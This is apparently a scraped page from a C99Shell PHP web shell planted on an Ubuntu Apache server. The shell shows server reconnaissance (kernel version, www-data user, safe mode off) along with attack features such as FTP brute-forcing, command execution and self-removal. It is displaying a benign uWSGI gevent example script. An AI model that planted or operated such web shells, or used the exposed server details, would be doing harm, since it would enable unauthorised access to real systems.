!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/uwsgi-core/tests/   drwxr-xr-x
Free 9.8 GB of 29.4 GB (33.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ugevent.py (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import gevent
import gevent.socket
import sys
import uwsgi
from uwsgidecorators import *

if 'gettotalrefcount' in sys.__dict__:
    REFCNT = True
else:
    REFCNT = False

@signal(17)
def hello(signum):
    print "hello i am signal %d, i am here because the background job is finished" % signum
    if REFCNT:
        print sys.gettotalrefcount()

@timer(10)
def ten_seconds(signum):
    print "10 seconds elapsed, signal %d raised" % signum
    if REFCNT:
        print sys.gettotalrefcount()

@filemon('/tmp')
def tmp_modified(signum):
    print "/tmp has been touched, i am the greenlet %s running on worker %d" % (gevent.getcurrent(), uwsgi.worker_id())
    if REFCNT:
        print sys.gettotalrefcount()

def bg_task():
    for i in range(1,10):
        print "background task", i
        gevent.sleep(1)

    # task ended raise a signal !!!
    uwsgi.signal(17)

def long_task():
    for i in range(1,10):
        print i
        gevent.sleep()

def application(e, sr):

    sr('200 OK', [('Content-Type','text/html')])

    t = gevent.spawn(long_task)

    t.join()

    yield "sleeping for 3 seconds...<br/>"

    gevent.sleep(3)

    yield "done<br>"

    yield "getting some ips...<br/>"

    urls = ['www.google.com', 'www.example.com', 'www.python.org', 'projects.unbit.it']
    jobs = [gevent.spawn(gevent.socket.gethostbyname, url) for url in urls]
    gevent.joinall(jobs, timeout=2)

    for j in jobs:
        yield "ip = %s<br/>" % j.value

    if REFCNT:
        print sys.gettotalrefcount()
        yield "%d" % sys.gettotalrefcount()

    # this task will goes on after request end
    gevent.spawn(bg_task)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0047 ]--